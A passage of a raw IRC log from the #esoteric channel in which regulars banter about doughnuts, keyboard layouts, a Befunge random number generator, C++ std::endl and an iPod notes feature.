non-ring doughnut. < 1267587013 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Maple bars are not rings, and are not filled. < 1267587028 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It's just that it never happens that way. < 1267587034 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :http://www.holmstad.no/ on the right are typical smultringer < 1267587044 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: Except for ALL THE FUCKING TIME. < 1267587064 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: You must have the worst doughnut shops in existence :P < 1267587081 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Those smultringer look slightly different from our typical non-chocolate unglazed smultringer. < 1267587087 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :very plain, like most traditional norwegian bakery < 1267587095 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: I've never even seen an actual doughnut shop, I think. < 1267587101 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :*tsk tsk* < 1267587111 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Those smultringer remind me of Twinkies and onion rings. < 1267587139 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :We would call those "plain doughnuts" < 1267587143 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i guess onion rings are the same except with onions as well inside < 1267587143 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :They're popular with coffee. < 1267587162 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :What do you call those things on the left? Fruktpizzaer? < 1267587184 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :"Fruit pizza"? :P < 1267587204 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Actually, "frukt" means "ear", and "pizza" means "slap". < 1267587205 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION coughs.
< 1267587206 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :honestly i don't know < 1267587222 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION slaps uorygl's ear
< 1267587231 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it _would_ seem a reasonable norw. name for it < 1267587254 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :http://www.voodoodoughnut.com/doughnuts/bacon_maple_bar.jpg <-- the greatest doughnut ever conceived. Full stop. < 1267587258 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well assume that was pizza underneath, i suspect it's actually something sweeter < 1267587262 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*assuming < 1267587280 0 :calamari!~calamari@ip72-211-150-114.tc.ph.cox.net JOIN :#esoteric < 1267587284 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I would call anything a pizza as long as it's a slab of dough with stuff on it. < 1267587309 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Even frukt. < 1267587315 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Then Japan has some nasty things to show you. < 1267587319 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :So, an iced cake is a pizza :P < 1267587326 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :A cake is not a slab. < 1267587332 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :A short cake is. < 1267587338 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :A shortcake, even. < 1267587344 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :If it's a really short cake, then... < 1267587357 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Then yeah, it's a pizza. < 1267587362 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Strawberry shortcake is DEFINITELY a kind of pizza by your definition. < 1267587386 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :My strawberry shortcake never consists of strawberries and whipped cream on a short cake. < 1267587405 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It's strawberries and whipped cream and chopped-up biscuits tossed together. < 1267587413 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I'm getting the idea that my cuisine is strictly inferior to yours. < 1267587425 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Strictly? Yes. < 1267587445 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Shortcake is often, but not always, short and round ... it can also be tall and round, or even not round probably :P < 1267587450 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :This is America -- the country of the pizza bagel. < 1267587455 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :*barf* < 1267587461 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1267587477 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Hmm. I think an open-faced sandwich would qualify as a pizza under my definition. < 1267587515 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :(Also, shalom and ciao) < 1267587546 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: I figured that since bread slices are sliced, they wouldn't qualify as a slab of dough, since they were in fact a loaf of dough, cut into a slab of bread. < 1267587549 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :An open-faced smörgås. < 1267587576 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I guess that is true. < 1267587594 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :dammit all this food talk made me forget to eat -> < 1267587612 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :(I would have used an apostrophe, but I am currently using a Norwegian keyboard with no easy access to apostrophes.) < 1267587630 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Now I know why people use acute accents as apostrophes. < 1267587635 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It´s easier on some keyboards. < 1267587807 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :wait, you are actually in norway? < 1267587856 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :No, I just used a Norwegian keyboard layout. < 1267587858 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Briefly. < 1267587863 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :the apostrophe is just left of the return key, btw < 1267587883 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Here in Norway, that is an æ instead of an apostrophe. < 1267587887 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :to the right of æ < 1267587901 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Oh. There isn't a key in between that and return. < 1267587921 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1267587929 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :My home row: asdfghjkløæ < 1267587929 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: What sort of freakish anti-coding keyboard do you have? < 1267587943 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :asdfghjkløæ' < 1267587946 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Who uses a non-ASCII keyboard for coding? < 1267587965 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Japanese people do. < 1267587965 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: what, do you have an extra key in that row? < 1267587973 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :so it would seem < 1267587976 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Crazy Ruby-zealots < 1267587981 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Though, their keyboard is QWERTY with a few extra buttons to control the IME. < 1267587988 0 :Sgeo__!unknown@unknown.invalid PRIVMSG #esoteric :A spammer discovered my hometown < 1267588002 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it may appear that i have an entire column of convenient accent-making keys there < 1267588007 0 :Sgeo__!unknown@unknown.invalid PRIVMSG #esoteric :Got a spam claiming to be from the public library of my hometown < 1267588020 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It's possible they were guessing. < 1267588022 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I've pretty much got one set up right now. < 1267588035 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(though with bindings instead of actual buttons) < 1267588036 0 :Sgeo__!unknown@unknown.invalid PRIVMSG #esoteric :Or maybe it wasn't spam, hm < 1267588061 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION counts the keys on his keyboard.
< 1267588077 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :105 < 1267588083 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Savant. < 1267588095 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: although changing to EN layout is as simple as pushing alt-right shift. which i don't think i've ever done on purpose, except to undo after doing it accidentally :D < 1267588113 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION does so now
< 1267588122 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Fourteen keys in the function row, fourteen in the number row, fourteen in the upper row, thirteen in the home row, twelve in the lower row, eleven in the space row. < 1267588161 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I'm sure I could find more keys if I looked hard enough. < 1267588183 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: Wait, you code with that horrifying layout? < 1267588191 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :seventeen, fifteen, fifteen, fifteen, fourteen, twelve < 1267588193 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :*Brackets* are on Alt-Gr! < 1267588198 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: i don't code that much < 1267588217 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :and i've never typed for that kind of speed anyway < 1267588224 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :That also looks mildly annoying for English text in general. < 1267588267 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :although it's a laptop keyboard, so no numpad < 1267588347 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :You have a lot more keys than I do. < 1267588413 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :My top row: Esc, F1-12, eject. Next: `, 1-0, -, =. Next: Tab, q-p, [, ], \. Next: Caps lock: a-l, ;, ', return. Next: shift, z-m, ,, ., /, shift. Next: Fn, control, option, command, space, command, option, arrow keys. < 1267588430 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION counts how many of those are for printable characters.
< 1267588475 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :48. < 1267588500 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :command means it's apple layout? < 1267588520 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Yep. < 1267588526 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION hands out barf bags.
< 1267588576 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i think a lot of the extra keys on the right side are things that would usually be on the numpad, just strewn about a bit < 1267588611 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Like home, page up, page down, end, insert, delete? < 1267588616 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1267588627 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :And the forbidden sysrq and break. < 1267588632 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :yep < 1267588718 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :You know, it's kind of annoying that there isn't any obvious separation between operating system keyboard shortcuts and application keyboard shortcuts. < 1267588723 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :SysRq is actually useful. < 1267588728 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :... In Linux. < 1267588741 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(Magic SysRq) < 1267588981 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :I have a question. Does (http://pastie.org/851114) generate statistically-pseudorandom integers in range of 0-255? < 1267589028 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :I just modified one I found in the list of Bef sources on the Cat's-Eye site. < 1267589086 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :on determining whether something is statistically pseudorandom, i defer to the actual experts. < 1267589127 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i mean, isn't the first rule of pseudorandom generators _not_ to try to roll your own. < 1267589142 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :You don't have much of a choice in Bef. < 1267589179 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well i mean algorithm, not actual implementation. < 1267589198 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :It's a solid algorithm. < 1267589211 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ok < 1267589237 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :then i'll sidle away carefully and leave it to the actual _befunge_ experts :D < 1267589239 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :What does "statistically pseudorandom" mean? < 1267589256 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :that it passes some common statistical tests, i presume < 1267589258 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :It basically takes rolls on 0-128, then adds it to 0-64, then adds it to 0-32, etc... < 1267589271 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :I mean... < 1267589317 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Statistically, it doesn't yield results that are any more or less biased than the parent pseudorandom number generator is. < 1267589407 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :It seems like it is, but I just can't make sense of why there is a 1 following the set. That would make the range from 0 to 256, which is just wrong. < 1267589430 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :I'm pretty sure that 0 is a possible outcome. < 1267589459 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Test it! < 1267589551 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :I'll test it with the original. < 1267590522 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I feel like creating yet another billiard ball language. < 1267590527 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I'll call it YABBL. < 1267590700 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :now you are just yabb'ling < 1267590945 0 :Sgeo__!unknown@unknown.invalid PRIVMSG #esoteric :Why does Ruby interest me so much? < 1267591250 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Well, I can help you answer that question. < 1267591262 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Why does Ruby interest you so much? < 1267591319 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :obviously it's because it's a gem of a language. < 1267591406 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION slaps oerjan.
< 1267591413 0 :Gracenotes!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1267591475 0 :Gracenotes!~person@wikipedia/Gracenotes JOIN :#esoteric < 1267591592 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ouch < 1267592138 0 :Oranjer!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1267592173 0 :Oranjer!~HP_Admini@adsl-71-7-92.cae.bellsouth.net JOIN :#esoteric < 1267592253 0 :Oranjer!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1267592281 0 :Oranjer!~HP_Admini@adsl-71-7-92.cae.bellsouth.net JOIN :#esoteric < 1267592320 0 :Sgeo__!unknown@unknown.invalid PRIVMSG #esoteric :"But I Miss My C++ Iostream" < 1267592326 0 :Sgeo__!unknown@unknown.invalid PRIVMSG #esoteric :"Sometimes there's just no accounting for taste..." < 1267592398 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :YABBL described quickly: http://pastebin.ca/1820626 < 1267592404 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I hope it's correct. < 1267592413 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Iostream, eh? That sounds like a scary feature of C++. < 1267592438 0 :Sgeo__!unknown@unknown.invalid PRIVMSG #esoteric :std::cout << "I've heard it described here as nightmarish." << std::endl < 1267592442 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :streams on Io < 1267592454 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Monads are better! They're easier to understand! < 1267592471 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :(Everything I understand is easier to understand than everything I don't understand, obviously.) < 1267592474 0 :Sgeo__!unknown@unknown.invalid PRIVMSG #esoteric :std::cout << "Besides being ugly, which is trivial, you can't determine the flags set on an IOStream, apparently" << std::endl < 1267592492 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :What does that std::endl even mean? < 1267592513 0 :Sgeo__!unknown@unknown.invalid PRIVMSG #esoteric :"\n" < 1267592694 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: "A collision is undefined behavior unless it is identical to one of the following:" <-- i assume you mean to include obvious reflections and rotations of those as well? < 1267592788 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh and i think you'd want >< ---> <> and variations < 1267592831 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :or would that get wrong timing... < 1267592958 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hm i suppose it would < 1267593772 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :千十字をやった！私がやったぜ！ < 1267594919 0 :Gracenotes!unknown@unknown.invalid PRIVMSG #esoteric :Ubuntu has been kind of buggy lately. a few kernel crashes here and there, random logouts, overheating.. < 1267594936 0 :Gracenotes!unknown@unknown.invalid PRIVMSG #esoteric :I wonder if it's due to my laptop going out the window (figuratively) < 1267594992 0 :lifthrasiir!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267594996 0 :lifthrasiir!i67Pn7SG@haje12.kaist.ac.kr JOIN :#esoteric < 1267595023 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: std::endl is '\n'. It is not the system end of line character. < 1267595087 0 :dev_squid!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1267595110 0 :dev_squid!~dev_squid@cpe-075-182-022-108.sc.res.rr.com JOIN :#esoteric < 1267595181 0 :Oranjer!unknown@unknown.invalid PART #esoteric :? < 1267595333 0 :Gracenotes!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267595450 0 :dev_squid!unknown@unknown.invalid QUIT :Ping timeout: 248 seconds < 1267595488 0 :dev_squid!~dev_squid@cpe-075-182-022-108.sc.res.rr.com JOIN :#esoteric < 1267596612 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: No, it's not the system end-of-line character. The endl manipulator is defined to call os.put(os.widen('\n')) followed by os.flush(). You only get the platform end of line character if you're writing into a stream that's opened in text mode, which does \n translation. < 1267596624 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Oh, that's exactly what you said. < 1267596645 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: Yes. < 1267596653 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Heh, I must have gotten confused since '\n' was already said; I thought you were complaining about that. < 1267596691 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I guess it's true what they say about making assumptions; they make an ass out of you and... mptions? < 1267596990 0 :MissPiggy!~none@amcant.demon.co.uk JOIN :#esoteric < 1267596991 0 :MissPiggy!unknown@unknown.invalid QUIT :Changing host < 1267596991 0 :MissPiggy!~none@unaffiliated/fax JOIN :#esoteric < 1267597117 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :never make assumptions about asinine assassins < 1267597201 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :ah, albeit arbitrary aerjans advice absolutely agrees < 1267597302 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :meanwhile, MissPiggy misuses mischievous misspellings < 1267597303 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: I shall assiduously assay to assimilate your assistance. < 1267597348 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :"aerjan" sounds like a pirate oerjan. < 1267597351 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :ARRR, you see. < 1267597411 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :still, a bit arrtificial < 1267597582 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :arrjan < 1267597667 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :check out this awesome iPod nano feature < 1267597673 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :You can apply a simple encryption to text, rendering it unrecognizable to the casual reader, by < 1267597678 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :placing it between and tags. < 1267597689 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :it can display text files ... IN ROT 13 < 1267597735 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :... wow. < 1267597741 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :The worst part is I'll bet you're not kidding. < 1267597767 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION just copied rainbows end onto it, but it's unreadable
< 1267597977 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :developer.apple.com/ipod/iPodNotesFeatureGuideCB.pdf < 1267598196 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :"Some presentations do not require the interactivity supported by the Notes feature. A public-service < 1267598200 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :announcement presentation or a guided tour through a single exhibit, for example, may not require < 1267598203 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :any branching or backing up." < 1267598213 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :?? they are suggesting that someone might use iPod nano as a medium for public service announcements ??? < 1267598704 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :"There is the older Tanka-style poem where you get two bonus lines (7 syllables each) to try to summarize all of existence. CREDITS" < 1267599174 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1267599712 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :"You can also configure the iPod to lock out everything but the Notes area; that way, viewers must start there. Called NotesOnly mode or Museum mode, it holds potential for museum curators, tour guides, or realtors interested in presenting facts about a painting, a historical center, or an overpriced property." < 1267599852 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :That makes perfect sense. The PSO thing above still confuses me :P < 1267599858 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :But that's not a PSO. < 1267599871 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :PSOX? < 1267599978 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :... < 1267599980 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Public < 1267599982 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Service < 1267599987 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Onnouncement :) < 1267600001 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION ^H's a bit.
< 1267600145 0 :tombom!~tombom@wikipedia/Tombomp JOIN :#esoteric < 1267600287 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: ah so that's where MissPiggy dumped my o < 1267600692 0 :coppro!unknown@unknown.invalid QUIT :Quit: I am leaving. You are about to explode. < 1267600698 0 :jcp!unknown@unknown.invalid QUIT :Quit: I will do anything (almost) for a new router. < 1267600817 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1267601581 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :“Did you know that you can store and read < 1267601582 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :up to 1000 text notes with your iPod?“ < 1267601616 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :heck no. i didn't even know i had an iPod. < 1267601621 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :XD < 1267601655 0 :coppro!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267601667 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :Have you ever wanted to read the entire Bible? BiblePlayer makes this goal achievable by organizing your bible reading plans. Select the current month and date, and your day's readings are presented. Scroll and select a reading and Audio Bible Player will load and play that reading. < 1267601777 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Have you ever wanted to read the deluded ramblings of some long-dead anonymous Jewish (and later, Christian, but let's face it, you won't actually get that far) guys? < 1267602095 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :"It is especially directed to readers whose intellectual tendencies cause them to question the validity of Jesus' claims." < 1267602136 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :http://www.podbible.org/Images/iPod1a.png < 1267602181 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: I'm pretty sure anyone *vaguely* sane would stop by Numbers. < 1267602184 0 :Sgeo__!unknown@unknown.invalid PRIVMSG #esoteric :It's possible to translate Ruby to Python?!? < 1267602189 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It's not always rambling; some parts are just Very Interesting(TM) genealogical listings. < 1267602191 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :... Guess what it is? A book. Of numbers. < 1267602191 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :[14] These be the heads of their fathers' houses: The sons of Reuben the firstborn of Israel; Hanoch, and Pallu, Hezron, and Carmi: these be the families of Reuben. < 1267602192 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :[15] And the sons of Simeon; Jemuel, and Jamin, and Ohad, and Jachin, and Zohar, and Shaul the son of a Canaanitish woman: these are the families of Simeon. < 1267602192 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :[16] And these are the names of the sons of Levi according to their generations; Gershon, and Kohath, and Merari: and the years of the life of Levi were an hundred thirty and seven years. < 1267602192 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :[17] The sons of Gershon; Libni, and Shimi, according to their families. < 1267602195 0 :Sgeo__!unknown@unknown.invalid PRIVMSG #esoteric :I mean, I was thinking of that < 1267602195 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :And so on and so on. < 1267602198 0 :Sgeo__!unknown@unknown.invalid PRIVMSG #esoteric :But it's been done < 1267602202 0 :Sgeo__!unknown@unknown.invalid PRIVMSG #esoteric :http://github.com/whymirror/unholy < 1267602216 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Admittedly the part of living 137 years is a bit suspicious. < 1267602229 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: Oral history... < 1267602253 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :But WHAT SORT OF CRAZY PERSON WOULD STICK GENEALOGY IN ORAL HISTORY. < 1267602293 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :someone who couldn't write, and so had nowhere else to stick it < 1267602293 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Oh yes, Numbers was the most boring one. < 1267602338 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1267602416 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :Text may be sharp, but my aging eyes found it hell to try to read, even for menu choices and song titles. I’d have to pass on the nano just for this reason alone (putting aside that I really need 60GB minimum storage…). < 1267602428 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :what the hell is this guy doing with 60 GB storage.. < 1267602447 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :And the GPS track logs of their wanderings! < 1267602450 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :[15] And they departed from Rephidim, and pitched in the wilderness of Sinai. < 1267602450 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :[16] And they removed from the desert of Sinai, and pitched at Kibroth-hattaavah. < 1267602450 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :[17] And they departed from Kibroth-hattaavah, and encamped at Hazeroth. < 1267602450 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :[18] And they departed from Hazeroth, and pitched in Rithmah. < 1267602460 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Couldn't they have put that stuff in an appendix or something? < 1267602491 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :(There's about 50 consecutive lines of that.) < 1267602603 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1267602667 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: The appendix hadn't been invented yet. < 1267602678 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Nor had punctuation. < 1267602684 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Or paragraphs. < 1267602706 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Or good writing, for that matter. < 1267602749 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Yes, well, they could have done some refactoring later, after those all had been invented. < 1267602863 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :"But but literal word of god!" < 1267602870 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :"To change would be blasphemy!" < 1267602883 0 :oerjan!unknown@unknown.invalid QUIT :Quit: Good night < 1267603141 0 :dev_squid!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1267603199 0 :clog!unknown@unknown.invalid QUIT :ended < 1267603200 0 :clog!unknown@unknown.invalid JOIN :#esoteric < 1267604571 0 :Sgeo_!~Sgeo@ool-18bf618a.dyn.optonline.net JOIN :#esoteric < 1267604740 0 